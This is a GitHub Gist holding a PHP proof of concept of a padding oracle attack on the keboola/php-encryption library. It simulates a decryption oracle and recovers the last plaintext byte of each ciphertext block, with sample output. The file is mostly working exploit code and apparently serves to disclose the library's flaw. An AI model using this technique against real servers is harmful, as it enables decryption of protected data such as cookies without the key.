Created
March 14, 2015 21:52
-
-
Save defuse/9fbbec08dc792b0ca696 to your computer and use it in GitHub Desktop.
Padding Oracle Attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Padding oracle attack against https://github.com/keboola/php-encryption | |
* By: Taylor Hornby. | |
* Date: March 14, 2014. | |
*/ | |
/* Download the two files and place in the same folder. */ | |
require_once('EncryptorInterface.php'); | |
require_once('AesEncryptor.php'); | |
use Keboola\Encryption; | |
/* The web server does encryption with a secret key. */ | |
$enc = new Keboola\Encryption\AesEncryptor( | |
mcrypt_create_iv(16, MCRYPT_DEV_URANDOM) | |
); | |
/* The web server gives the user some ciphertext (e.g. a cookie). */ | |
function create_ct_to_decrypt() | |
{ | |
global $enc; | |
$plaintext = "AAAAAAAAAAAAAAAA" | |
."BBBBBBBBBBBBBBBB" | |
."CCCCCCCCCCCCCCCC"; | |
return $enc->encrypt($plaintext); | |
} | |
/* | |
* The user can query the server with some ciphertext to see if the substr() | |
* call in the padding removal returned false or not. | |
*/ | |
function decrypt_oracle($ct) | |
{ | |
global $enc; | |
$pt = $enc->decrypt($ct); | |
/* Only return FALSE/SUCCESS. */ | |
if ($pt === FALSE) { | |
return FALSE; | |
} else { | |
return TRUE; | |
} | |
} | |
/* Padding oracle attack implementation. */ | |
$victim_ct = create_ct_to_decrypt(); | |
for ($block = 0; $block < floor(strlen($victim_ct)/16) - 2; $block++) { | |
/* IV */ | |
$c0 = substr($victim_ct, $block*16, 16); | |
/* First block. */ | |
$c1 = substr($victim_ct, $block*16 + 16, 16); | |
for ($x = 0; $x <= 255; $x++) { | |
/* Change the last byte of the IV until the last byte becomes 17. */ | |
$v = $c0; | |
$v[15] = chr(ord($v[15]) ^ $x); | |
if (decrypt_oracle($v . $c1)) { | |
$v[15] = chr(ord($v[15]) ^ 1); | |
if (decrypt_oracle($v . $c1) == FALSE) { | |
/* Recover the last byte. */ | |
echo "Found last byte: " . chr($x ^ 1 ^ 17) . "\n"; | |
break; | |
} | |
} | |
} | |
} | |
/* Output: | |
Found last byte: A | |
Found last byte: B | |
Found last byte: C | |
*/ | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment